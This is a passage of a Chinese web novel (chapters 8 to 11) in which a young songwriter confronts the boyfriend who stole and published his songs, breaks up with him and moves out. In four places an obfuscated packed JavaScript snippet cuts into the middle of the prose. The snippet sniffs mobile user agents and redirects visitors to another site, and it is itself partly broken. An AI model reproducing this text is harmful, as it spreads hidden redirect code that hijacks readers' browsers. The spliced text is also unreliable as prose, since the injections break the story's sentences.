“小盛,我刚刚从老师办公室里出来,”兴许是他还捏着艾新的把柄,这回男友对他的态度好了不少,“你现在能帮我给温故说说我的好话了吧?” 盛知新垂眸,似乎忽然对裤脚上的一个线头产生了兴趣,半晌后才淡淡道:“你还有什么要和我说的吗?” “还有什么?” 艾新的语气满是疑惑:“你什么意思啊?” “真的没有吗?”盛知新说,“你没有做任何对不起我的事?” 艾新微妙地沉默了几秒,而后再次开口,声音有些心虚:“没,没有啊,除了让你代课,我还能做什么?” 盛知新冷笑了一声:“那我的歌呢?” 他问完后,听筒里是长达一分钟的死寂。 艾新的态度已经说明了一切,一股“悲凉”感弥漫在盛知新心口。 之前有人安慰他,他的情绪是委屈。现在他一个人,这种委屈就变成了悲凉。 “我的歌放在电脑里,那是我的歌,没有让你随便拿走随便上传平台的意思,”盛知新的语气倒是出奇的冷静,“至少你上传前应该和我打个招呼,可是你连一句话也没有说,是什么意思呢?” 艾新咽了口唾沫,再开口时声音有点发飘:“小盛,你是不是搞错了,我怎么能偷你的歌呢?你,你得讲道理啊。” 盛知新笑了。 他第一次知道人在无语的时候确实是会被气笑的。 电脑就在手边,他敲了几个字进去,“啪”地砸了下回车键,调出来了那几首歌,随便点开一首,把音量拉到最大,而后将手机听筒贴了上去。 “这是什么?艾新?”这是盛知新第一次直呼男友大名,“你告诉我这是什么?” 他从前是脾气好,也感谢艾新能喜欢他,肯定他身上的优点,哪怕这个男友大部分时间都像个幼稚的孩子,反而需要他哄。可盛知新觉得两个人谈恋爱就是要磨合彼此的脾气,就是要互相包容彼此的任性,哪怕艾新再怎么少爷脾气,他也会对自己说—— 至少艾新说喜欢自己呢。 可现在呢? 偷了歌的男朋友是喜欢他,还是喜欢他的歌? 音乐声震耳欲聋,盛知新觉得差不多了就点了暂停,又问道:“这是什么?艾新,你告诉我。” 艾新没挂断电话,支吾半晌后重重地叹了口气,语调温柔:“小盛,是哥错了,哥不该这么做。” 盛知新扬起眉,想听听艾新怎么解释。 “我刚签公司嘛,那个时候。” 艾新又叹了口气:“他们都是带着作品进公司的,就我没有,公司说必须得有作品,我就开始写歌,但是歌好难写啊。” 这似乎是他第一次这样和盛知新撒娇示弱。 可你的队友有歌,你没有,难道不是因为你是走后门靠关系进去的吗? 盛知新发现他其实不是脾气好,他是在那些觉得不在乎,觉得没必要的事上脾气好,比如说爸妈让他给弟妹交钱上补习班,他会觉得小孩多上补习班是对的,所以捏着鼻子花自己的钱给他们续课时。但如果涉及到原则性.问题,比如上大学,比如自己的歌这种问题时,他其实脾气也不算好。 “我写了好几首交给公司,都被温老师判不合格,还给我让我重写,但是公司定的死线快到了,如果我再交不上让公司满意的歌,他们会开除我的。这是我一生里最重要的机会,我不能就这么放弃,那天正准备和你说我遇到的这件事,就看见你在电脑里存了几首歌。我打开听了下,觉得好好听啊,于是想着先把这几首歌交给公司,看看效果怎么样。” 他说到这儿时顿了下,语调变得略有些微妙:“温老师夸你了,说你的歌写的很好,问我是找人帮忙了吗?” “我怎么能说找人帮忙了呢,万一公司不让怎么办?我就说,说是我自己写的,然后按照他给的建议改了一下,就这么交上去了......” 艾新刚开始说话的语调还挺理直气壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363053|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,但越往后说话声音越小,最后和蚊子似的嗡嗡又嘤嘤,听不清了。 原来你也觉得心虚。 “你当时为什么不告诉我,”盛知新说,“告诉我一下很难吗?我不会和你好好商量吗?” 他自问和艾新在一起的这半年,从未拒绝过艾新的要求,哪怕是再无理再离谱的要求。 可艾新是怎么对他的? 盛知新甚至觉得当时如果艾新好好和他谈,他或许真的会同意把这几首歌送给艾新。 “我......我当时太急了,”艾新说,“就差两天,我真的写不出,也是真的一时鬼迷心窍,小盛你别怪哥好吗?” 盛知新笑了下,没说话。 艾新以为他笑是原谅自己了,心中一喜,正要开口,却听那个从来温驯的男朋友说:“把我的歌下架。” “不行!” 艾新一口回绝了他的要求:“这几首歌不仅在音乐平台发过了,而且已经传了D站和微博,浏览量破了百万,不是把一个平台的音源下架就能解决的事,而且公司已经准备出专辑了,我,我......” 他深吸一口气,语气再次变得楚楚可怜:“小盛啊,哥真的好不容易走到了这一步,你也想支持哥的梦想吧,你也想哥出名吧?所以,所以你就别计较了呗......” 盛知新鼻子一酸。 其实他幻想过很多次艾新好好和自己说话,好好哄自己的样子,却没想到梦想实现的这一天,是艾新为了自己做的错事求盛知新放自己一马。 “小盛,我知道你喜欢哥,但是哥也真的是走投无路,没办法了才这样,哥不是故意的,”艾新又说,“哥账户里的钱分一半给你好不好?哥知道平时你兼职累,等会儿我就把钱打给你,你拿着这些钱好好休息,好不好?” “这不是钱的问题,是——” 盛知新提起一口气,话说了一半却又倏地泄了。 艾新不会懂的。 他不会懂这几首歌对于盛知新的意义,也不会懂他做了这样的事不是分钱就能解决的,更不懂盛知新在失望痛苦什么。 艾新天真地觉得盛知新生来就是要惯着他的。 之前盛知新原谅了他那么多次的幼稚任性嚣张跋扈,这次一定也会原谅他。 “是什么呀?” 艾新又用这种哄孩子的语气和他说话:“小盛,这事确实是哥做的不地道,但是你也要理解哥的难处,哥现在是为了我们的未来努力呀,对不对?哥的东西就是你的,咱俩别分的那么清。” “等哥火了,哥就去找公司,让他们把词作和曲作换成你的名字好不好?到时候全世界都知道我的歌是你写的,我们会一起站在全世界最耀眼的地方,好不好?” 可是,你现在就能去和公司说这首歌的词作和曲作是我。 可是,明明是你拿走了我的歌,说的话却像指责我不听话? 可是,可是。 可是我好像有点不想要你给我描述过无数次的那个,我们的未来了。 9. 第 9 章 “你现在在哪里?” 盛知新没理会艾新的那些疑似给他画饼的话,直截了当地问道:“我想和你谈谈。” 艾新原本以为自己的长篇大论能得到盛知新的同情,正准备再接再厉,听见盛知新问出的话时“啊”了一声,有点意想不到。 按照他对盛知新的了解,自己这个小男友最是心软,之前有很多次确实是自己的问题,但只要嘴硬一点,盛知新好像就没脾气了,他随便说点什么看似掏心窝子的话就能把人哄好。 但今天盛知新好像不太吃他这一套了。 “小盛,你......是哥不好,等哥回家和你说好不好?” 盛知新扬起眉:“回家?你准备什么时候回家。” “就......” 艾新其实自己也心虚。 确实是他未经允许就把人的歌拿走发了,但他本来是打算告诉公司和盛知新的,只是温故看起来很喜欢这几首歌,言语间的赞美之词让他越听越不舒服,于是憋着这点小心思最后还是没说实话。事情过去了起码三个月,他早就忘了这码事,没想到今天被盛知新发现了。 艾新懊恼地“啧”了一声,刚才的那点耐心全没了,心情开始烦躁:“我也说不准啊,今天安排我们一起练习,我怎么能知道几点回家?反正早晚都得回,你现在问我也没什么用啊。” 盛知新牵起唇角,带着几分讽刺地笑了下:“哦,这样。” “你在家等我吧,行不行?”艾新说,“别闹了,就这么点事,我不是和你说了我早晚会让公司帮你处理吗?” 还没等盛知新说话,对面匆匆撂下一句“听话,我忙去了”后就挂断了电话。 出租屋里空荡荡的,安静得没有一丝声音,让盛知新有一瞬间觉得自己好像失重了,漂浮在水中,被整个世界隔绝。 在他眼里这么重要的事,落在艾新口中就变成了“这么点事”。 盛知新其实并非什么天赋型的创作人。 他初中的时候就偏科,理科很弱,但是那时候不分文理科。同学们有薄弱的地方周末会去补习班,但是他爸妈从来没提过要给他报个什么班上课,他又是刚回到爸妈身边,活得战战兢兢如履薄冰,生怕做错了什么事又被丢回老家自生自灭。于是他只能每天抱着书硬着头皮啃,平时最开心的事就是上语文课。 盛知新很会写作文,甚至会写诗,代表班级拿了不少大奖小奖。有一次班主任找到他,问他会不会写歌词。 那是他第一次尝试写歌词。 没有什么华丽的辞藻,也没有堆砌任何意向,他就像完成平日的作文一样完成了这篇歌词,写的都是身边最小最细腻的事,最后把这么一篇凝聚着生活与生存的歌词交给了老师。 他的班主任说,你很有天赋。 兴许班主任对很多人都说过这句话,对那些在班级里看起来很没有存在感的小孩说你某某领域很有天赋很出色似乎是一个好老师的必修课,可这对盛知新来说无异于井口递下来的一根救命的绳子。 于是他从那以后开始写,开始唱。 上高中后,盛知新从吉他社花了300块买来一把淘汰下来的老吉他,连音调都难调,可他却弹得津津有味。弟妹从小在爸妈身边长大,被惯得有些厉害,很愿意抢他的东西,于是他把吉他藏在了自己屋子的衣柜里,学习太难的时候就钻进衣柜弹给自己听,唱给自己听。 写歌和唱歌对盛知新来说,是这个世界唯一接纳他的东西,是他最重要的东西。 如果艾新和他打了个招呼要拿他的歌,那他或许会难过,但绝不至于生气,因为艾新也和他解释了,说自己确实需要这些歌,这是没办法的事。盛知新有点救世主情结,其实他挺愿意帮帮自己的男朋友。 可艾新没和他说。 艾新觉得他的歌是召之即来挥之即去的东西,是随便就能拿走的东西,是“这么点小事”。 对于这个家境太好的男朋友来说,他出生时就有着盛知新这辈子都不会有的资源。而如果盛知新不愿意帮他写歌,那艾新还有更多PlanB,PlanC,可盛知新只有艾新这一个选项,于是在经历过极度缺爱的青春期后将这个男朋友捧在了心尖。 放在桌上的手机“嗡”地震了震。 盛知新这才回过神,有些茫然地看向手机屏,心底甚至有那么一个瞬间希望是艾新打来的电话。 可在屏幕上跳动的头像是温故那个黑白艺术照。 温故给他打电话做什么? 盛知新接起电话,带着点鼻音地开口:“温老师,您找我有事吗?” 电话那边的人沉默了片刻:“感冒了?” “嗯?” 盛知新没注意自己刚才想着想着差点哭出来,有些慌乱地抹了把眼睛:“没,没有。” “那怎么听着声音不对劲?”温故说,“身体还不舒服吗?” 其实在打过点滴后盛知新已经好得差不多了,这会儿莫名觉得手又在微微颤抖。他定了定神,低声说:“没有,谢谢温老师,我现在已经不难受了。” “身体不难受了可以,但是感觉......” 温故顿了下,试探着问他:“你的心情很差,好像遇到了不开心的事,听着像要哭了。” 盛知新心里不轻不重地“咯噔”了一下。 刚才自己情绪波动得那么严重,艾新在电话里却说这只是一件小事,可温故是个陌生人,却听出来了他情绪不对。 “我......” 盛知新动了动唇,原本想说点什么,却发现如果要告诉对方发生了什么事,就必须得把这一切从头到尾都讲一遍。 可他并不知道温故是不是一个可靠的人。 过去盛知新不愿意把人想得太坏,他总是觉得世界上还是好人多,可在被艾新背刺过后,他没办法再这样劝自己了。 连最亲密的人都会背叛自己,这个世界上哪里还有什么好人? “温老师,我是遇到了一些问题。” 盛知新慢慢叹出一口气:“但是我能自己解决,没关系的。” “好,那我不问你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363054|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 温故话锋一转,开启了另一个话题:“晚上吃饭了没?” 盛知新这才发现已经下午四点半快五点了。 他为了这件事内耗生气了整整一个下午,都没注意到时间的流逝。 “没有,”他说,“没胃口。” “我就猜到了。” 温故似乎轻轻笑了一声,像羽毛似的扫过他的耳廓,让他不由自主地轻轻打了个颤。 “你低血糖就是因为你不好好吃饭,这样身体不会好的,”温故说,“正好我下班了,你想吃什么,我顺路去接你?” 为什么温故忽然要请他吃饭? 吃人嘴软拿人手短,无功不受禄,黄鼠狼给鸡拜年没安好心......盛知新想起了这一串仙人的智慧,心里立刻警铃大作。 “不用了,您平时也很忙吧,不用特意来找我吃饭,我会吃的——” “可是你不开心啊。” 温故打断了他的推辞:“你不开心,我也不开心,一起吃顿饭说不定就开心了,你说对不对?” 他不开心? 在盛知新眼里,温故这种人就是人中龙凤天之骄子,生活顺利事业顺心,甚至还有艾新这样含着金汤匙的少爷崇拜着,已经算得上人生巅峰了,还能有什么不顺心的事? 盛知新是个容易心软的人,尤其是发现这样别人口中的高岭之花居然在和他卖惨,那颗恻隐之心又蠢蠢欲动了起来。 温故见他不说话,又继续道:“而且我今天看了你写歌的那个本子,觉得你写的很好,风格挺特别的,想和你聊聊。” “写歌”两个字砸在盛知新心里,激起一滩不大不小的涟漪。 他刚和艾新因为写歌的事吵过架,这会儿温故又一次提起了写歌这件事。 过去的几年里,盛知新基本都是一个人单打独斗,没有人对他的歌做出过什么评价。他也试着在驻唱的酒吧唱自己的歌,可去酒吧的人都忙着喝酒或者谈恋爱,他唱歌的声音只是一个听得进的Bgm,至于唱了什么,没人关心。 而艾新夸他会写,只是想拿他的歌去和公司邀功,这样才能让盛知新多写点。 要么不被人听见,要么带着目的,自始至终认真听盛知新唱歌的,听盛知新写了什么的,只有高中时家里那个古旧的衣柜。 “怎么不说话了?” 温故听见盛知新沉默,似乎有些担心:“小盛?怎么了?” “温老师啊。” 盛知新遏制住自己声音的颤抖,轻声说:“我真的写得很好吗?” “对啊,”温故有些莫名其妙,“写的确实不错,但还有地方可以改进提升,我今天约你出来,就是想谈谈这件事,我......” 听筒里传来了哭泣的声音。 盛知新捂着嘴,有些控制不住自己的眼泪。 在对着衣柜孤独地唱了五六年后,在这样一个众叛亲离的下午,那古旧衣柜的门好像忽然被人打开了。 顷刻间,一线天光照在了他的眼前,人生好像也跟着辽阔起来。 10. 第 10 章 盛知新最后也没和温故去吃饭。 “我还有些事想好好处理一下,”他说,“等我处理完了,再去找温老师聊聊可以吗?” 他不愿意再被艾新冷暴力了,他宁可去找人轰轰烈烈地吵一架然后一拍两散,也不愿再这样像个怨夫一样在家里等下去。 温故似乎叹了口气:“好,你自己决定就好。” 他说完,又补充道:“如果有哪里需要我帮忙可以和我说。” 盛知新应了一声,将电话挂断后擦了擦眼睛。 虽然他确实在温故这里得到了安慰,但他还是没法立刻相信这样一个之前根本不认识的人,更何况他现在有更重要的事要做。 看清一个人需要多久?有人要几年,有人几个月,而盛知新只用了一个下午。 他忽然醒悟过来,之前艾新对他好的一切都是假象,都是因为他对艾新来说还算有用,可如果哪一天他没法给艾新创造价值,他就会被毫不留情地丢掉。 会写歌,能写出歌帮他讨好公司的盛知新是有用的,而盛知新对他来说是没用的。 盛知新想着想着,自嘲地笑了起来。 人怎么能活成这样呢?家里人对他好,是因为指望他能做兼职补贴家用给弟妹上学;男朋友对他好是因为他能写歌,能帮他讨好公司。 而没有人因为他是“盛知新”喜欢他。 不喜欢也不要紧,只要他把自己的歌拿回来,只要...... 盛知新摇摇晃晃地站起身,去卫生间洗了把脸,随便背了个帆布袋就向门外走去。 十分钟后,他再次回到了那栋气派的大楼前。 之前来艾新的公司,他都是带着小心和羡慕,他觉得能签在这个公司的艾新好厉害,能签下这么好的艾新的公司也好厉害,可现在在他眼里,这栋大楼好像会吃人的怪物。 吃了好多有梦想的人,吃了好多拿走别人梦想的人。 他走进大堂时,门口的前台换人了,一个他之前不认识的姐姐正在打电话,抬眼看见他时问道:“您好,请问您找谁?” 盛知新走到前台,低声道:“我找艾新。” “艾新......” 那个姐姐顺着电脑的名单一路看下去,点点头:“是那个练习生吧?您稍等一下,我去通知......” “不用了,”盛知新说,“我和他说了我来找他。” 兴许是盛知新长得太没攻击力,前台相信了他说的话:“好,那你去吧,几楼你知道吗?” 盛知新点点头。 前台放行,他向电梯走去,默不作声地一个人来到了八楼。 现在接近晚饭的时间,楼里基本没什么人,只有零星几个录音棚传来了录歌的声音。 之前艾新和他提过自己在几楼,但没告诉盛知新是哪个房间。 他有些懊恼地叹了口气,正准备趴在门上挨个儿听一听,就听见一间屋子里传来了人说话的声音。 “......艾哥,谢谢你今天请我们吃饭呀。” 艾哥? 盛知新眉头一动,蹑手蹑脚地往那扇门外走了过去。 透过门缝,能看见几个小男生围着桌子有坐有站,桌子上放着外卖盒,还热腾腾地散发着香气,而艾新正坐在背对门的地方,只留给盛知新一个后脑勺。 从外卖盒的样子来看,应该是什么酒店送的私人外卖,至少盛知新没和艾新一起吃过。 之前在家里点外卖,几乎都是盛知新花钱。艾新说自己选择恐惧症,说自己不知道什么好吃,于是把选择权交给了盛知新。 “小盛,点你爱吃的外卖呀,”艾新总这么说,“我都可以的,不用管我。” 刚开始盛知新没听出来艾新话里话外的意思,真的如他所说点了自己爱吃的,可外卖送来后艾新却把脸一垮,自顾自地开始冷暴力盛知新。盛知新不知道自己做错了什么,又难过又委屈。两人冷战了一整天,他才意识到好像是那顿外卖让艾新不高兴了。 他不是个喜欢把事情憋在心里的人,当即就去问了艾新是不是因为外卖。艾新这才舍得正眼看他一次,语调带着几分嘲讽:“你才知道啊?” 于是那个时候盛知新才知道,哪怕艾新说了点他爱吃的,但也决不能真的点他爱吃的。这是少爷在客气,你怎么能当真呢? 但艾新是盛知新的初恋,当时还是两人刚在一起的热恋期,盛知新只觉得艾新这样心口不一很可爱,压根没意识到这其实算是艾新对自己的服从性测试。 艾新之前和他说,公司的练习生因为他实力强总欺负他,平时上课吃饭都不带他,孤立他,这一度让盛知新恻隐之心大发,陪着艾新骂了好久他的同学。 只是现在大家围在桌边准备吃饭,怎么看也看不出所谓的“关系不好”,尤其是艾新坐的位置,几乎是个被人众星捧月的地方,怎么看也看不出“被孤立”。 旁边有个把头发挑染成金色的小男生,正殷勤地给艾新倒了杯水。被倒水的人看了眼杯子,眉头一皱:“谁要喝白开水。” “老师不是让咱控糖吗?”那个小男生笑了下,“艾哥忍一忍,过了这两周就好了。” 艾新“啧”了一声,似乎十分不快。 “艾哥,你多吃啊。” 另一个小男生给他递过来切成小块的苹果:“你破费了,点了这么多,平时有什么需要的和兄弟们说,保证帮你办妥当。” 盛知新愣在了门口。 所以艾新其实在这个小群体里是被捧着的,是大家要争相讨好的少爷,是会请同期生吃饭的红人,压根不存在什么被打压、被欺负和被孤立。 那些话都是说出来骗盛知新,来博取同情的。 甚至很有可能的是,艾新不让他来公司,就是怕他知道在家里说的那些是假的。 盛知新原本想直接冲进去,但是手按在门把手上时,忽然听见那个刚刚给艾新倒水的小男生开口问道:“对了艾哥,我听小樊姐说,今天有个人来公司找你,还昏倒了,被温老师送去医院来着,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363055|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的吗?” 说的是他? 他推门的动作停了下来,想听听艾新是怎么说的。 房间里的气氛一下降到了冰点,那个小男生似乎意识到自己问了个很蠢的问题,正想讪笑着开口缓和一下气氛,却听艾新气压很低地“嗯”了一声。 “是来找我了,”他说,“你想问什么?” “我......” 那个小男生眼睛转了转,哪怕被人这样冷脸相待脸上也依旧笑嘻嘻的:“好奇嘛,一直没见过艾哥的朋友,这好像是第一次有人来公司找艾哥呀。” 艾新默不作声地打开了外卖包装,心里又暗暗将盛知新骂了一遍。 这个死路边都没人管的傻逼,怎么就能恰到好处地在公司楼下晕倒啊?是特意来给他找不快还是来讹他的? 现在好了,一传十十传百,估计到明天整个公司的人都要知道这件事了,这让他一张脸往哪搁? 艾新越想越气,将手里的一次性筷子狠狠地掰开:“别问了,饭都凉了。” “哎呀艾哥,大家聊聊天么。” 另一个男生帮腔,语调显得有几分看戏的不怀好意:“你那个朋友没事了吧?忽然晕倒也挺吓人的,艾哥你没跟着去医院看看呀?” “他爱死不死,跟我有什么关系?” 这一天下来发生了太多事,先是没等到温故,接着就是盛知新在楼下昏倒,然后为了让盛知新给自己说点好话,捏着鼻子回学校被老师和辅导员训了一通,隐隐让艾新没法再维持之前惜字如金的人设,烦躁和不满的情绪全都涌了上来。 “是我要他来的吗?他自己非要顶着太阳跑过来,他不晕谁晕?我凭什么对他的行为负责?”艾新冷声说,“他爱死哪死哪,关我屁事?” “还有啊,他不是我朋友。” 艾新的语气里满是厌恶:“那个乡巴佬也配当我朋友?要不是看他能写点歌,我才懒得理他,他一身土腥味,稍微靠近一点我都嫌恶心,我......” 他话还没说完,就听见身后“砰”地一声巨响。 “谁啊?不会敲门吗?” 艾新骂骂咧咧地回头,看见盛知新时倏地愣住了,脸上闪过一丝不易察觉的慌乱:“小,小盛?你怎么——” “艾哥,刚才你说的是真心话,对吗?” 盛知新觉得自己现在冷静得可怕。 眼前的人好像不再是那个追他时热烈温柔的男友,而是一个披着艾新皮囊的恶鬼。 “不是的,我就是一时气话,小盛乖,你先回家,我回去再和你解释,好不好?”艾新的嘴巴像打了结,说话都不利索了,“哥真不是那个意思......” 盛知新面无表情地转向旁边几个看戏的练习生,翘起唇角笑了下:“澄清一下,我是他同居了半年的男朋友。” 他说完,随手抓起桌上的一盘菜,用力地扣在了艾新的脸上。 “哦对了,”盛知新语气冰冷,没有一丝感情的波动,“现在不是了。” 11. 第 11 章 我靠,劲爆大瓜。 旁边的几个小练习生眼睛都看直了。 从有人进屋到把盘子扣在艾新脸上,这一切都发生得太快。 这盘菜的颜色还挺丰富,红红黄黄绿绿结结实实泼了艾新满头满脸,呛得他直咳嗽。 刚才那个殷勤的挑染小男生悄悄摸出手机,点开了录像键,准备记录这个千载难逢的时刻。 “盛知新!你疯了吗?” 他双眼死死的地瞪着对方,似乎是不相信眼前这个泼了他一头菜的人,就是平时唯唯诺诺,被他骂了大气都不出一个,次次都乖乖来找他和好的男朋友。 盛知新分明应该是那个连哭都不敢哭的土包子,怎么有胆子扣他一脸菜的? 面前的人冷冷地看着他:“我没疯,是你疯了,你到底还骗了我多少事情?” 艾新动作一顿,表情肉眼可见的变得心虚:“这些我们回家再说,你现在闹成这个样子多难看?我……” “难看?” 盛知新轻轻地重复他这句话,眯起眼冷笑:“有你拿我歌难看吗?” 艾新最怕的就是他把这件事说出去,手忙脚乱地要去拽盛知新的袖子,却被人狠狠甩开。 “不是说嫌我有土腥味吗?”盛知新说,“那就说好了,从此以后我们两个桥归桥路归路,再没有半分关系。我明天就给你们公司写邮件,把这件事原原本本的告诉他们。” 这句话无异于拿捏住了艾新的命门,让他再怎么不服气,也只能暂时为了那几首歌的事不暴露,试?着用老方法再去讨好盛知新。 艾新瞬间变了语气,变得诚恳又温柔,跟刚才的嫌弃判若两人:“小盛,你现在很冲动,容易做错事。你先回去好好想想,这样闹有什么意义呢?听话,等我回家我们再好好聊,好不好?” 他原以为盛知新会像原来那样听话,好哄,再随便说点软话,盛知新就会答应他的要求,却没想到这惯来好说话的小男友又对他冷笑了一下,说出来的话让他心凉了半截——— “我想和你聊的时候你不聊,那我们就没什么好聊的。” 他说完,抬头看了一眼周围各怀鬼胎看热闹的练习生,露出一个意味不明的微笑,轻声说:“你们知道他平时在家怎么说你们的吗?” 其他练习生睁大了眼睛,彼此交流了一下目光,正想让盛知新继续谈谈这个“平时在家怎么嘴同期”,却见那个人似乎没有继续说的意思,轻轻放下了这么一颗定时.炸.弹,最后看了艾新一眼,头也不回地离开了练习室。 艾新顶着一头五颜六色的菜,身上名贵的衬衫袖口还在往下滴着油,看上去狼狈不堪。那个挑染头发的小男生递给他一张纸,眼神里满是同情。 “他就是个疯子,”艾新转身看向他们,有些徒劳地解释,“我没和你们说,就是因为他情绪实在太不稳定,三天两头就要和我这么闹一次,昨天在公司大楼昏倒也是因为他控制不了自己,我……” “没事的艾哥,我们都理解,”另一个练习生说,“你去换个衣服,洗洗回来吃饭吧,别浪费了其他的菜。” 但看着他们的神色,艾新知道这并不是他们的真心话,可顶着一头菜确实很丢人,他只能把不满咽下肚子,憋着一股气去浴室洗澡了。 盛知新真的疯了,他想。 几首歌闹成这么难看的样子,他还想让他在公司里混吗?和他说过多少次了,不可以来公司胡闹,看来是最近太惯着他了。 艾新一边洗澡一边恨恨地想着。 公司后面说不定还要他们交歌,他还得把盛知新新稳住,暂时不能说分手。但是今天这个仇他记下了,等回家后一定要让盛知新好看。 *** 盛知新泼了渣男一头菜,也就觉得那一瞬间爽了一下,昂首挺胸地走出公司大楼后,站在夕阳下,却觉得自己有点悲凉。 发生了这样的事,他完全做不到像没事人一样回家,回到那个满是回忆的出租房里。 今天这个家是搬定了,只是他该去哪里呢?又有什么地方能让他暂时住一下呢? 他一边想着这个问题一边回了出租屋,开始打包自己的行李。 两个人同居了半年,屋子里的大部分东西却全是盛知新添置的。之前盛知新很委婉的和艾新表达过自己想用情侣款水杯毛巾的想法,却被对方以幼稚这个理由驳回了。他为此闷闷不乐了好久,艾新才终于松口,同意和他用一点情侣款的日用品,但全部都是是盛知新买的。 当时盛知新觉得没什么,感情里总有一方要主动,可现在看着这些自己一点点挑着买回来的情侣款小物件,他却觉得自己有点可怜。 连情侣款都是别人赏自己的,他想。 好惨。 盛知新草草检查了一下自己的东西,一些书本照片,还有他写歌的本子,最后再加上一把木吉他,这就是他的全部家当。和艾新有关的他一件没带,都留在了屋子里。 他站在门口,借着夜色,最后看了一眼屋中的家具和摆设,然后将门重重地关上了。 去哪里呢? 盛知新摆弄一会儿手机,忽然想起自己今晚还有那个酒吧驻唱的兼职。 他和酒吧的老板关系不错,如果商量一下,估计能在酒吧里给他腾出来一个睡觉的地方。在申请回学校宿舍住之前,他说不定可以先住在酒吧里,这样也省得每天为了兼职东奔西跑。 暂定不用露宿街头后,盛知新长出了一口气,背着他的吉他,拦了一辆车准备去酒吧。 现在?晚上5:30,酒吧刚刚开门营业。老板只穿了一件汗衫,露出了他纹了半个胳膊的青龙纹身,正吆喝着店员将店外的遮阳伞和椅子摆好。 “怎么这么早就来了?”老板看见盛知新时很惊讶,“还有一个小时才上班呢。” 盛知新扯扯嘴角,露出了一个有点勉强的笑:“我无家可归了,你能收留我吗?” 他平时在酒吧人缘不错,唱得也好听,有几个顾客每晚上都是冲着他来的,也因此消费了不少,所以老板也把他当半个朋友,听见他说自己无家可归后,把人带到酒吧的吧台前,给他弄了杯喝的。 “我不是谈了个男朋友吗?”盛知新抿了一口酒,被辣得轻轻“嘶”了一声,“他背刺我,我们分手了。房子是我们一起租的,我不想再看见他,于是搬出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363056|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 话很简短,但是字越少事越大。 这么突然地搬出来,老板知道发生的肯定不能是一般矛盾,拍了拍他的肩,又给他续了半杯酒。 之前盛知新从网上看到了喝酒会让嗓子变差的科普,所以平时很少喝酒,今天是他心情不好,一边跟老板说着话,一边就是两杯酒下肚,眼前的吧台和酒柜变得有些朦胧,眼周也泛起了一片红色,显得他可怜巴巴的。 失恋了没地方住确实很惨,老板有些无奈地叹了口气:“不是我不想收留你啊,这两天来兼职的灵活工有点多,能腾出来的位置都给他们了。你这个情况……我也没法让你插队是不是?” 盛知新吸了吸鼻子,点点头。 他也知道自己这个要求有点突然,但他没那么多钱住酒店,也不想露宿街头。走读重新办理住宿还需要一点时间,如果他每天都住酒店,这几天就能花光他两周的生活费。 “真的腾不出一点位置了吗?”盛知新微微仰头看着老板,“住的时候我可以免费唱的,我真的没地方去了。 盛知新说完,见老板沉默不语,大概知道了他的答案。 他叹了一口气,将杯底的酒一饮而尽,换他拍了拍老板的肩:“没事儿,没有就没有,没关系的,其实你能让我兼职,我已经很感激了。” “今晚别唱了,”老板说,“心情不好,唱的歌也伤心,我给你放一晚上假,吧台菜单上的酒你随便挑吧,喝多少都行。” 盛知新面色苍白地笑了笑:“那我可不客气了。” 老板知道他不能喝太多,又说:“甜品和小食也随便吃,就当是哄哄自己,你太瘦了,这样身体会出问题的,正好趁今晚补补营养。” 盛知新知道他在安慰自己:“你去忙吧,不用管我,这里我还是熟悉的。” 外面确实还有其他事情等着做,老板嘱咐酒保多多关照他,起身去监督别人干活了。 酒保贴心地把盛知新酒杯里的酒满上,这一杯是蓝粉色的,看着还挺梦幻,只是盛知新现在没有什么心情欣赏调酒的艺术。 现在是彻底没有地方住了,他这两天要么就去青旅凑合一下算了,算一算也比酒店便宜个几百块钱。 只是…… 盛知新脑子里还没“只是”完,肩膀忽然被人拍了一下。 他吓了一跳,猛地回头,一张熟悉的脸撞入了眼中。 几个小时前约他晚上吃饭的温故正站在自己的身后,表情也很惊讶。 